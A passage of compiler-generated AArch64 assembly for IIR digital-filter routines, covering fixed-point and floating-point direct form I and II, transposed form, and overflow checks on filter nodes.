str x0, [sp, 64]
ldr x0, [sp, 40]
add x0, x0, 4
str x0, [sp, 72]
ldrsw x0, [sp, 4]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 8]
add x0, x1, x0
str x0, [sp, 80]
ldr x0, [sp, 32]
str x0, [sp, 88]
str wzr, [sp, 56]
b .L583
.L584:
ldrsw x0, [sp, 56]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 32]
add x1, x1, x0
ldrsw x0, [sp, 56]
lsl x0, x0, 2
ldr x2, [sp, 32]
add x0, x2, x0
ldr s0, [x1]
str s0, [x0]
ldr x0, [sp, 80]
sub x1, x0, #4
str x1, [sp, 80]
ldr s1, [x0]
ldr x0, [sp, 88]
add x1, x0, 4
str x1, [sp, 88]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 52]
fadd s0, s1, s0
str s0, [sp, 52]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L583:
ldr w0, [sp, 4]
sub w0, w0, #1
ldr w1, [sp, 56]
cmp w1, w0
blt .L584
ldrsw x0, [sp, 4]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 32]
add x0, x1, x0
ldr s0, [sp, 28]
str s0, [x0]
ldr x0, [sp, 80]
sub x1, x0, #4
str x1, [sp, 80]
ldr s1, [x0]
ldr x0, [sp, 88]
add x1, x0, 4
str x1, [sp, 88]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 52]
fadd s0, s1, s0
str s0, [sp, 52]
mov w0, 1
str w0, [sp, 60]
b .L585
.L586:
ldr x0, [sp, 64]
sub x1, x0, #4
str x1, [sp, 64]
ldr s1, [x0]
ldr x0, [sp, 72]
add x1, x0, 4
str x1, [sp, 72]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 52]
fsub s0, s1, s0
str s0, [sp, 52]
ldrsw x0, [sp, 60]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 40]
add x1, x1, x0
ldrsw x0, [sp, 60]
lsl x0, x0, 2
ldr x2, [sp, 40]
add x0, x2, x0
ldr s0, [x1]
str s0, [x0]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L585:
ldr w0, [sp, 24]
sub w0, w0, #1
ldr w1, [sp, 60]
cmp w1, w0
blt .L586
ldr w0, [sp, 24]
cmp w0, 1
ble .L587
ldr x0, [sp, 64]
sub x1, x0, #4
str x1, [sp, 64]
ldr s1, [x0]
ldr x0, [sp, 72]
add x1, x0, 4
str x1, [sp, 72]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 52]
fsub s0, s1, s0
str s0, [sp, 52]
.L587:
ldrsw x0, [sp, 24]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 40]
add x0, x1, x0
ldr s0, [sp, 52]
str s0, [x0]
ldr s0, [sp, 52]
add sp, sp, 96
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE92:
.size iirOutFloatL, .-iirOutFloatL
.align 2
.global iirOutBothL
.type iirOutBothL, %function
iirOutBothL:
.LFB93:
.cfi_startproc
stp x29, x30, [sp, -192]!
.cfi_def_cfa_offset 192
.cfi_offset 29, -192
.cfi_offset 30, -184
mov x29, sp
str x0, [sp, 88]
str x1, [sp, 80]
str x2, [sp, 72]
str x3, [sp, 64]
str s0, [sp, 60]
str x4, [sp, 48]
str x5, [sp, 40]
str x6, [sp, 32]
str x7, [sp, 24]
str xzr, [sp, 152]
ldrsw x0, [sp, 200]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 32]
add x0, x1, x0
str x0, [sp, 120]
ldr x0, [sp, 48]
add x0, x0, 8
str x0, [sp, 128]
ldrsw x0, [sp, 208]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 136]
ldr x0, [sp, 40]
str x0, [sp, 144]
str wzr, [sp, 108]
ldrsw x0, [sp, 200]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 72]
add x0, x1, x0
str x0, [sp, 160]
ldr x0, [sp, 88]
add x0, x0, 4
str x0, [sp, 168]
ldrsw x0, [sp, 208]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 64]
add x0, x1, x0
str x0, [sp, 176]
ldr x0, [sp, 80]
str x0, [sp, 184]
str wzr, [sp, 112]
b .L590
.L591:
ldrsw x0, [sp, 112]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 40]
add x1, x1, x0
ldrsw x0, [sp, 112]
lsl x0, x0, 3
ldr x2, [sp, 40]
add x0, x2, x0
ldr x1, [x1]
str x1, [x0]
ldr x0, [sp, 136]
sub x1, x0, #8
str x1, [sp, 136]
ldr x2, [x0]
ldr x0, [sp, 144]
add x1, x0, 8
str x1, [sp, 144]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 152]
bl fxp_add
str x0, [sp, 152]
ldrsw x0, [sp, 112]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 80]
add x1, x1, x0
ldrsw x0, [sp, 112]
lsl x0, x0, 2
ldr x2, [sp, 80]
add x0, x2, x0
ldr s0, [x1]
str s0, [x0]
ldr x0, [sp, 176]
sub x1, x0, #4
str x1, [sp, 176]
ldr s1, [x0]
ldr x0, [sp, 184]
add x1, x0, 4
str x1, [sp, 184]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 108]
fadd s0, s1, s0
str s0, [sp, 108]
ldr w0, [sp, 112]
add w0, w0, 1
str w0, [sp, 112]
.L590:
ldr w0, [sp, 208]
sub w0, w0, #1
ldr w1, [sp, 112]
cmp w1, w0
blt .L591
ldrsw x0, [sp, 208]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 40]
add x0, x1, x0
ldr x1, [sp, 192]
str x1, [x0]
ldr x0, [sp, 136]
sub x1, x0, #8
str x1, [sp, 136]
ldr x2, [x0]
ldr x0, [sp, 144]
add x1, x0, 8
str x1, [sp, 144]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 152]
bl fxp_add
str x0, [sp, 152]
ldrsw x0, [sp, 208]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 80]
add x0, x1, x0
ldr s0, [sp, 60]
str s0, [x0]
ldr x0, [sp, 176]
sub x1, x0, #4
str x1, [sp, 176]
ldr s1, [x0]
ldr x0, [sp, 184]
add x1, x0, 4
str x1, [sp, 184]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 108]
fadd s0, s1, s0
str s0, [sp, 108]
mov w0, 1
str w0, [sp, 116]
b .L592
.L593:
ldr x0, [sp, 120]
sub x1, x0, #8
str x1, [sp, 120]
ldr x2, [x0]
ldr x0, [sp, 128]
add x1, x0, 8
str x1, [sp, 128]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 152]
bl fxp_sub
str x0, [sp, 152]
ldrsw x0, [sp, 116]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 48]
add x1, x1, x0
ldrsw x0, [sp, 116]
lsl x0, x0, 3
ldr x2, [sp, 48]
add x0, x2, x0
ldr x1, [x1]
str x1, [x0]
ldr x0, [sp, 160]
sub x1, x0, #4
str x1, [sp, 160]
ldr s1, [x0]
ldr x0, [sp, 168]
add x1, x0, 4
str x1, [sp, 168]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 108]
fsub s0, s1, s0
str s0, [sp, 108]
ldrsw x0, [sp, 116]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 88]
add x1, x1, x0
ldrsw x0, [sp, 116]
lsl x0, x0, 2
ldr x2, [sp, 88]
add x0, x2, x0
ldr s0, [x1]
str s0, [x0]
ldr w0, [sp, 116]
add w0, w0, 1
str w0, [sp, 116]
.L592:
ldr w0, [sp, 200]
sub w0, w0, #1
ldr w1, [sp, 116]
cmp w1, w0
blt .L593
ldr w0, [sp, 200]
cmp w0, 1
ble .L594
ldr x0, [sp, 120]
sub x1, x0, #8
str x1, [sp, 120]
ldr x2, [x0]
ldr x0, [sp, 128]
add x1, x0, 8
str x1, [sp, 128]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 152]
bl fxp_sub
str x0, [sp, 152]
.L594:
ldrsw x0, [sp, 200]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 48]
add x0, x1, x0
ldr x1, [sp, 152]
str x1, [x0]
ldr w0, [sp, 200]
cmp w0, 1
ble .L595
ldr x0, [sp, 160]
sub x1, x0, #4
str x1, [sp, 160]
ldr s1, [x0]
ldr x0, [sp, 168]
add x1, x0, 4
str x1, [sp, 168]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 108]
fsub s0, s1, s0
str s0, [sp, 108]
.L595:
ldrsw x0, [sp, 200]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 88]
add x0, x1, x0
ldr s0, [sp, 108]
str s0, [x0]
ldr x0, [sp, 152]
bl fxp_to_float
fmov s1, s0
ldr s0, [sp, 108]
fsub s0, s1, s0
ldp x29, x30, [sp], 192
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE93:
.size iirOutBothL, .-iirOutBothL
.align 2
.global iirOutBothL2
.type iirOutBothL2, %function
iirOutBothL2:
.LFB94:
.cfi_startproc
stp x29, x30, [sp, -192]!
.cfi_def_cfa_offset 192
.cfi_offset 29, -192
.cfi_offset 30, -184
mov x29, sp
str x0, [sp, 88]
str x1, [sp, 80]
str x2, [sp, 72]
str x3, [sp, 64]
str s0, [sp, 60]
str x4, [sp, 48]
str x5, [sp, 40]
str x6, [sp, 32]
str x7, [sp, 24]
str xzr, [sp, 120]
ldrsw x0, [sp, 200]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 32]
add x0, x1, x0
str x0, [sp, 128]
ldr x0, [sp, 48]
add x0, x0, 8
str x0, [sp, 136]
ldrsw x0, [sp, 208]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 144]
ldr x0, [sp, 40]
str x0, [sp, 152]
str wzr, [sp, 108]
ldrsw x0, [sp, 200]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 72]
add x0, x1, x0
str x0, [sp, 160]
ldr x0, [sp, 88]
add x0, x0, 4
str x0, [sp, 168]
ldrsw x0, [sp, 208]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 64]
add x0, x1, x0
str x0, [sp, 176]
ldr x0, [sp, 80]
str x0, [sp, 184]
str wzr, [sp, 112]
mov w0, 1
str w0, [sp, 116]
str wzr, [sp, 112]
b .L598
.L599:
ldrsw x0, [sp, 112]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 40]
add x1, x1, x0
ldrsw x0, [sp, 112]
lsl x0, x0, 3
ldr x2, [sp, 40]
add x0, x2, x0
ldr x1, [x1]
str x1, [x0]
ldr w0, [sp, 208]
sub w1, w0, #1
ldr w0, [sp, 112]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x2, [x0]
ldrsw x0, [sp, 112]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 120]
bl fxp_add
str x0, [sp, 120]
ldrsw x0, [sp, 112]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 80]
add x1, x1, x0
ldrsw x0, [sp, 112]
lsl x0, x0, 2
ldr x2, [sp, 80]
add x0, x2, x0
ldr s0, [x1]
str s0, [x0]
ldr w0, [sp, 208]
sub w1, w0, #1
ldr w0, [sp, 112]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 64]
add x0, x1, x0
ldr s1, [x0]
ldrsw x0, [sp, 112]
lsl x0, x0, 2
ldr x1, [sp, 80]
add x0, x1, x0
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 108]
fadd s0, s1, s0
str s0, [sp, 108]
ldr w0, [sp, 112]
add w0, w0, 1
str w0, [sp, 112]
.L598:
ldr w0, [sp, 208]
sub w0, w0, #1
ldr w1, [sp, 112]
cmp w1, w0
blt .L599
ldrsw x0, [sp, 208]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 40]
add x0, x1, x0
ldr x1, [sp, 192]
str x1, [x0]
ldr w0, [sp, 208]
sub w1, w0, #1
ldr w0, [sp, 112]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x2, [x0]
ldrsw x0, [sp, 112]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 120]
bl fxp_add
str x0, [sp, 120]
ldrsw x0, [sp, 208]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 80]
add x0, x1, x0
ldr s0, [sp, 60]
str s0, [x0]
ldr w0, [sp, 208]
sub w1, w0, #1
ldr w0, [sp, 112]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 64]
add x0, x1, x0
ldr s1, [x0]
ldrsw x0, [sp, 112]
lsl x0, x0, 2
ldr x1, [sp, 80]
add x0, x1, x0
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 108]
fadd s0, s1, s0
str s0, [sp, 108]
mov w0, 1
str w0, [sp, 116]
b .L600
.L601:
ldr w1, [sp, 200]
ldr w0, [sp, 116]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr x2, [x0]
ldrsw x0, [sp, 116]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 120]
bl fxp_sub
str x0, [sp, 120]
ldrsw x0, [sp, 116]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 48]
add x1, x1, x0
ldrsw x0, [sp, 116]
lsl x0, x0, 3
ldr x2, [sp, 48]
add x0, x2, x0
ldr x1, [x1]
str x1, [x0]
ldr w1, [sp, 200]
ldr w0, [sp, 116]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 72]
add x0, x1, x0
ldr s1, [x0]
ldrsw x0, [sp, 116]
lsl x0, x0, 2
ldr x1, [sp, 88]
add x0, x1, x0
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 108]
fsub s0, s1, s0
str s0, [sp, 108]
ldrsw x0, [sp, 116]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 88]
add x1, x1, x0
ldrsw x0, [sp, 116]
lsl x0, x0, 2
ldr x2, [sp, 88]
add x0, x2, x0
ldr s0, [x1]
str s0, [x0]
ldr w0, [sp, 116]
add w0, w0, 1
str w0, [sp, 116]
.L600:
ldr w0, [sp, 200]
sub w0, w0, #1
ldr w1, [sp, 116]
cmp w1, w0
blt .L601
ldr w0, [sp, 200]
cmp w0, 1
ble .L602
ldr w1, [sp, 200]
ldr w0, [sp, 116]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr x2, [x0]
ldrsw x0, [sp, 116]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 120]
bl fxp_sub
str x0, [sp, 120]
.L602:
ldrsw x0, [sp, 200]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 48]
add x0, x1, x0
ldr x1, [sp, 120]
str x1, [x0]
ldr w0, [sp, 200]
cmp w0, 1
ble .L603
ldr w1, [sp, 200]
ldr w0, [sp, 116]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 72]
add x0, x1, x0
ldr s1, [x0]
ldrsw x0, [sp, 116]
lsl x0, x0, 2
ldr x1, [sp, 88]
add x0, x1, x0
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 108]
fsub s0, s1, s0
str s0, [sp, 108]
.L603:
ldrsw x0, [sp, 200]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 88]
add x0, x1, x0
ldr s0, [sp, 108]
str s0, [x0]
ldr x0, [sp, 120]
bl fxp_to_float
fmov s1, s0
ldr s0, [sp, 108]
fsub s0, s1, s0
ldp x29, x30, [sp], 192
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE94:
.size iirOutBothL2, .-iirOutBothL2
.section .rodata
.align 3
.LC30:
.string "An Overflow Occurred in the node a0"
.text
.align 2
.global fxp_direct_form_1
.type fxp_direct_form_1, %function
fxp_direct_form_1:
.LFB95:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str w4, [sp, 28]
str w5, [sp, 24]
str xzr, [sp, 104]
ldr x0, [sp, 40]
add x0, x0, 8
str x0, [sp, 72]
ldrsw x0, [sp, 28]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 56]
add x0, x1, x0
str x0, [sp, 80]
ldr x0, [sp, 32]
str x0, [sp, 88]
ldrsw x0, [sp, 24]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 48]
add x0, x1, x0
str x0, [sp, 96]
str wzr, [sp, 64]
b .L606
.L607:
ldr x0, [sp, 88]
add x1, x0, 8
str x1, [sp, 88]
ldr x2, [x0]
ldr x0, [sp, 96]
sub x1, x0, #8
str x1, [sp, 96]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 104]
bl fxp_add
str x0, [sp, 104]
ldr w0, [sp, 64]
add w0, w0, 1
str w0, [sp, 64]
.L606:
ldr w1, [sp, 64]
ldr w0, [sp, 24]
cmp w1, w0
blt .L607
mov w0, 1
str w0, [sp, 68]
b .L608
.L609:
ldr x0, [sp, 72]
add x1, x0, 8
str x1, [sp, 72]
ldr x2, [x0]
ldr x0, [sp, 80]
sub x1, x0, #8
str x1, [sp, 80]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 104]
bl fxp_sub
str x0, [sp, 104]
ldr w0, [sp, 68]
add w0, w0, 1
str w0, [sp, 68]
.L608:
ldr w1, [sp, 68]
ldr w0, [sp, 28]
cmp w1, w0
blt .L609
adrp x0, .LC30
add x1, x0, :lo12:.LC30
ldr x0, [sp, 104]
bl fxp_verify_overflow_node
ldr x0, [sp, 40]
ldr x0, [x0]
mov x1, x0
ldr x0, [sp, 104]
bl fxp_div
str x0, [sp, 104]
ldr x0, [sp, 104]
bl fxp_quantize
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE95:
.size fxp_direct_form_1, .-fxp_direct_form_1
.section .rodata
.align 3
.LC31:
.string "An Overflow Occurred in the node b0"
.text
.align 2
.global fxp_direct_form_2
.type fxp_direct_form_2, %function
fxp_direct_form_2:
.LFB96:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -112
str x0, [sp, 72]
str x1, [sp, 64]
str x2, [sp, 56]
str x3, [sp, 48]
str w4, [sp, 44]
str w5, [sp, 40]
str xzr, [sp, 120]
ldr x0, [sp, 56]
add x0, x0, 8
str x0, [sp, 96]
ldr x0, [sp, 48]
str x0, [sp, 104]
ldr x0, [sp, 72]
add x0, x0, 8
str x0, [sp, 112]
mov w0, 1
str w0, [sp, 92]
b .L612
.L613:
ldr x0, [sp, 72]
ldr x19, [x0]
ldr x0, [sp, 96]
add x1, x0, 8
str x1, [sp, 96]
ldr x2, [x0]
ldr x0, [sp, 112]
add x1, x0, 8
str x1, [sp, 112]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
mov x0, x19
bl fxp_sub
mov x1, x0
ldr x0, [sp, 72]
str x1, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L612:
ldr w1, [sp, 92]
ldr w0, [sp, 44]
cmp w1, w0
blt .L613
ldr x0, [sp, 72]
ldr x0, [x0]
ldr x1, [sp, 64]
bl fxp_add
mov x1, x0
ldr x0, [sp, 72]
str x1, [x0]
ldr x0, [sp, 72]
ldr x2, [x0]
ldr x0, [sp, 56]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_div
mov x1, x0
ldr x0, [sp, 72]
str x1, [x0]
ldr x0, [sp, 72]
ldr x2, [x0]
adrp x0, .LC31
add x1, x0, :lo12:.LC31
mov x0, x2
bl fxp_verify_overflow_node
ldr x0, [sp, 72]
str x0, [sp, 112]
str wzr, [sp, 88]
b .L614
.L615:
ldr x0, [sp, 104]
add x1, x0, 8
str x1, [sp, 104]
ldr x2, [x0]
ldr x0, [sp, 112]
add x1, x0, 8
str x1, [sp, 112]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 120]
bl fxp_add
str x0, [sp, 120]
ldr w0, [sp, 88]
add w0, w0, 1
str w0, [sp, 88]
.L614:
ldr w1, [sp, 88]
ldr w0, [sp, 40]
cmp w1, w0
blt .L615
ldr x0, [sp, 120]
bl fxp_quantize
ldr x19, [sp, 16]
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE96:
.size fxp_direct_form_2, .-fxp_direct_form_2
.align 2
.global fxp_transposed_direct_form_2
.type fxp_transposed_direct_form_2, %function
fxp_transposed_direct_form_2:
.LFB97:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
stp x19, x20, [sp, 16]
.cfi_offset 19, -96
.cfi_offset 20, -88
str x0, [sp, 72]
str x1, [sp, 64]
str x2, [sp, 56]
str x3, [sp, 48]
str w4, [sp, 44]
str w5, [sp, 40]
str xzr, [sp, 104]
ldr x0, [sp, 56]
add x0, x0, 8
str x0, [sp, 88]
ldr x0, [sp, 48]
str x0, [sp, 96]
ldr w0, [sp, 44]
ldr w2, [sp, 40]
ldr w1, [sp, 40]
cmp w2, w0
csel w0, w1, w0, ge
str w0, [sp, 84]
ldr x0, [sp, 96]
add x1, x0, 8
str x1, [sp, 96]
ldr x0, [x0]
ldr x1, [sp, 64]
bl fxp_mult
mov x2, x0
ldr x0, [sp, 72]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_add
str x0, [sp, 104]
ldr x0, [sp, 56]
ldr x0, [x0]
mov x1, x0
ldr x0, [sp, 104]
bl fxp_div
str x0, [sp, 104]
str wzr, [sp, 80]
b .L618
.L621:
ldrsw x0, [sp, 80]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 72]
add x1, x1, x0
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x2, [sp, 72]
add x0, x2, x0
ldr x1, [x1]
str x1, [x0]
ldr w0, [sp, 44]
sub w0, w0, #1
ldr w1, [sp, 80]
cmp w1, w0
bge .L619
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x0, x1, x0
ldr x20, [x0]
ldr x0, [sp, 88]
add x1, x0, 8
str x1, [sp, 88]
ldr x0, [x0]
ldr x1, [sp, 104]
bl fxp_mult
mov x2, x0
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x19, x1, x0
mov x1, x2
mov x0, x20
bl fxp_sub
str x0, [x19]
.L619:
ldr w0, [sp, 40]
sub w0, w0, #1
ldr w1, [sp, 80]
cmp w1, w0
bge .L620
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x0, x1, x0
ldr x20, [x0]
ldr x0, [sp, 96]
add x1, x0, 8
str x1, [sp, 96]
ldr x0, [x0]
ldr x1, [sp, 64]
bl fxp_mult
mov x2, x0
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x19, x1, x0
mov x1, x2
mov x0, x20
bl fxp_add
str x0, [x19]
.L620:
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L618:
ldr w0, [sp, 84]
sub w0, w0, #1
ldr w1, [sp, 80]
cmp w1, w0
blt .L621
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x0, x1, x0
ldr x2, [x0]
adrp x0, .LC30
add x1, x0, :lo12:.LC30
mov x0, x2
bl fxp_verify_overflow_node
ldr x0, [sp, 104]
bl fxp_quantize
ldp x19, x20, [sp, 16]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE97:
.size fxp_transposed_direct_form_2, .-fxp_transposed_direct_form_2
.align 2
.global double_direct_form_1
.type double_direct_form_1, %function
double_direct_form_1:
.LFB98:
.cfi_startproc
sub sp, sp, #96
.cfi_def_cfa_offset 96
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
str x3, [sp, 16]
str w4, [sp, 12]
str w5, [sp, 8]
str xzr, [sp, 88]
ldr x0, [sp, 24]
add x0, x0, 8
str x0, [sp, 56]
ldrsw x0, [sp, 12]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 40]
add x0, x1, x0
str x0, [sp, 64]
ldr x0, [sp, 16]
str x0, [sp, 72]
ldrsw x0, [sp, 8]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 32]
add x0, x1, x0
str x0, [sp, 80]
str wzr, [sp, 48]
b .L624
.L625:
ldr x0, [sp, 72]
add x1, x0, 8
str x1, [sp, 72]
ldr d1, [x0]
ldr x0, [sp, 80]
sub x1, x0, #8
str x1, [sp, 80]
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 88]
fadd d0, d1, d0
str d0, [sp, 88]
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L624:
ldr w1, [sp, 48]
ldr w0, [sp, 8]
cmp w1, w0
blt .L625
mov w0, 1
str w0, [sp, 52]
b .L626
.L627:
ldr x0, [sp, 56]
add x1, x0, 8
str x1, [sp, 56]
ldr d1, [x0]
ldr x0, [sp, 64]
sub x1, x0, #8
str x1, [sp, 64]
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 88]
fsub d0, d1, d0
str d0, [sp, 88]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L626:
ldr w1, [sp, 52]
ldr w0, [sp, 12]
cmp w1, w0
blt .L627
ldr x0, [sp, 24]
ldr d0, [x0]
ldr d1, [sp, 88]
fdiv d0, d1, d0
str d0, [sp, 88]
ldr d0, [sp, 88]
add sp, sp, 96
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE98:
.size double_direct_form_1, .-double_direct_form_1
.align 2
.global double_direct_form_2
.type double_direct_form_2, %function
double_direct_form_2:
.LFB99:
.cfi_startproc
sub sp, sp, #96
.cfi_def_cfa_offset 96
str x0, [sp, 40]
str d0, [sp, 32]
str x1, [sp, 24]
str x2, [sp, 16]
str w3, [sp, 12]
str w4, [sp, 8]
str xzr, [sp, 88]
ldr x0, [sp, 24]
add x0, x0, 8
str x0, [sp, 64]
ldr x0, [sp, 16]
str x0, [sp, 72]
ldr x0, [sp, 40]
add x0, x0, 8
str x0, [sp, 80]
mov w0, 1
str w0, [sp, 60]
b .L630
.L631:
ldr x0, [sp, 64]
add x1, x0, 8
str x1, [sp, 64]
ldr d1, [x0]
ldr x0, [sp, 80]
add x1, x0, 8
str x1, [sp, 80]
ldr d0, [x0]
fmul d0, d1, d0
ldr x0, [sp, 40]
ldr d1, [x0]
fsub d0, d1, d0
ldr x0, [sp, 40]
str d0, [x0]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L630:
ldr w1, [sp, 60]
ldr w0, [sp, 12]
cmp w1, w0
blt .L631
ldr x0, [sp, 40]
ldr d1, [x0]
ldr d0, [sp, 32]
fadd d0, d1, d0
ldr x0, [sp, 40]
str d0, [x0]
ldr x0, [sp, 40]
ldr d1, [x0]
ldr x0, [sp, 24]
ldr d0, [x0]
fdiv d0, d1, d0
ldr x0, [sp, 40]
str d0, [x0]
ldr x0, [sp, 40]
str x0, [sp, 80]
str wzr, [sp, 56]
b .L632
.L633:
ldr x0, [sp, 72]
add x1, x0, 8
str x1, [sp, 72]
ldr d1, [x0]
ldr x0, [sp, 80]
add x1, x0, 8
str x1, [sp, 80]
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 88]
fadd d0, d1, d0
str d0, [sp, 88]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L632:
ldr w1, [sp, 56]
ldr w0, [sp, 8]
cmp w1, w0
blt .L633
